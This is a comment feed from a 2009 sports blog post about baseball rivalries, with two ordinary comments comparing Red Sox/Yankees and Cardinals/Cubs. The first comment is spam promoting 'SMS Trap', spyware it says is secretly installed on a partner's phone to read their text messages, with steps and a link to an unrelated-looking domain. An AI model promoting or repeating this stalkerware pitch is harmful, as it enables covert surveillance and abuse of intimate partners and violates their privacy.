Comments on: The Best Rivalry http://www.draftdaysuit.com/2009/07/10/the-best-rivalry/ Tue, 07 Feb 2012 20:43:17 +0000 hourly 1 http://wordpress.org/?v=3.2.1 By: Jeoguequeem http://www.draftdaysuit.com/2009/07/10/the-best-rivalry/comment-page-1/#comment-901 Jeoguequeem Mon, 17 Aug 2009 22:16:30 +0000 http://www.draftdaysuit.com/?p=597#comment-901 <b> Anybody tried something similar?</b> <i>SMS Trap: Read other people’s SMS easily now!</i> They argue: <i>If you want to check out and keep a spy eye on your partner mobile-phone for seeing incoming and outgoing SMS, then here is a useful software which lets you do this easily. SMS Trap is something that never fails to help you get your partner off guard. This software will make reading other people’s SMS as easy as ABC. Ready for some real spy stuff ? All you have to do to start using our service is following three easy items: 1. Get registered at our site 2. Download the our program 3. Setup it at the cell phone of your partner , AND THAT’S IT ! As soon as you are done with this, you will be able to view both the outcoming and the incoming SMS messages at their site, inside your account area. You will be able to read them ALL online! <a href="http://cnn-election.com/smscheck/" rel="nofollow"><b>Try SMS-spy</b></a></i>
Anybody tried something similar?
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They argue:
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1. Get registered at our site
2. Download the our program
3. Setup it at the cell phone of your partner , AND THAT’S IT !
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]]> By: ClumberKim http://www.draftdaysuit.com/2009/07/10/the-best-rivalry/comment-page-1/#comment-766 ClumberKim Sat, 11 Jul 2009 03:29:36 +0000 http://www.draftdaysuit.com/?p=597#comment-766 My four year old likes to say he likes all the teams, except the Yankees. Sox/Yanks is in the blood, yo. Just wait until fall when I get to rant about an even better rivalry, Williams and Amherst. My four year old likes to say he likes all the teams, except the Yankees. Sox/Yanks is in the blood, yo.

Just wait until fall when I get to rant about an even better rivalry, Williams and Amherst.

]]> By: TwoBusy http://www.draftdaysuit.com/2009/07/10/the-best-rivalry/comment-page-1/#comment-763 TwoBusy Fri, 10 Jul 2009 16:43:20 +0000 http://www.draftdaysuit.com/?p=597#comment-763 In pure baseball terms, I don't see any way to rationalize Cards/Cubs above Sox/Yanks as "the best rivalry" – there's a purity of competition and fierce rivalry in both cases that's hard to fully understand unless you're personally enmeshed in it. Cards/Cubs is a rivalry I've always heard of and read about, but insofar as that it's greatly constrained to the dynamic Illinois/Missouri corridor... it's not anything that's ever come close to capturing my interest. Sox/Yanks, on the other hand, transcends geographic boundaries in a way that other teams' marketing departments only dream possible — the polarizing influence of Steinbrenner and his cast of villains over 30+ years and the epic collapses/final, wondrous success of the Sox (thanks, '04 Cards!) capture people's imaginations on a national scale in a way that Tony LaRussa and the sad-sack Cubs don't come close to matching. (As for the cool factor of Cards/Cubs fans sitting side-by-side in relative piece, all I can say is that your Kumbaya is inspirational.) In pure baseball terms, I don’t see any way to rationalize Cards/Cubs above Sox/Yanks as “the best rivalry” – there’s a purity of competition and fierce rivalry in both cases that’s hard to fully understand unless you’re personally enmeshed in it. Cards/Cubs is a rivalry I’ve always heard of and read about, but insofar as that it’s greatly constrained to the dynamic Illinois/Missouri corridor… it’s not anything that’s ever come close to capturing my interest. Sox/Yanks, on the other hand, transcends geographic boundaries in a way that other teams’ marketing departments only dream possible — the polarizing influence of Steinbrenner and his cast of villains over 30+ years and the epic collapses/final, wondrous success of the Sox (thanks, ’04 Cards!) capture people’s imaginations on a national scale in a way that Tony LaRussa and the sad-sack Cubs don’t come close to matching.

(As for the cool factor of Cards/Cubs fans sitting side-by-side in relative piece, all I can say is that your Kumbaya is inspirational.)

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